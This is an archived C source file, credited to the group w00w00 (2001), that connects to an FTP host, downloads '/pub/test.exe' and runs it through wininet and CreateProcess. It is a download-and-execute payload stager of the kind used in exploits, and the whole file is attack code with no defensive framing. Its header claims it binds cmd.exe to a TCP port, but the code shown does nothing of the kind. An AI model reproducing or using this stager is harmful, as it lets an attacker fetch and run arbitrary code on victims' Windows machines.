home *** CD-ROM | disk | FTP | other *** search
- // Copyright (C) 2001, w00w00
- // Matt Conover (Shok)
- //
- // Binds cmd.exe to a TCP port
- // Download and execute a file from FTP on Windows
- // This makes use of wininet.dll (wininet.lib for VC++)
-
- #include <windows.h>
- #include <wininet.h>
- #include <assert.h>
-
- #define FLAGS 0 // INTERNET_FLAG_PASSIVE
- #define HOST "ftp.ftpserver.com"
- #define PORT INTERNET_DEFAULT_FTP_PORT
- #define USER NULL // anonymous login
- #define PASSWORD NULL // anonymous login
- #define REMOTE_FILE "/pub/test.exe" // file to download
- #define LOCAL_FILE "test.exe" // what the file will be locally stored and executed as
-
- void main()
- {
- HINTERNET hInternet, hServer;
- STARTUPINFO startup_info;
-
- hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
- hServer = InternetConnect(hInternet, HOST, PORT, USER, PASSWORD, INTERNET_SERVICE_FTP, 0, 0);
- FtpGetFile(hServer, REMOTE_FILE, LOCAL_FILE, false, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
-
- GetStartupInfo(&startup_info);
- CreateProcess(NULL, LOCAL_FILE, NULL, NULL, false, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
-
- InternetCloseHandle(hServer);
- InternetCloseHandle(hInternet);
- }
-
-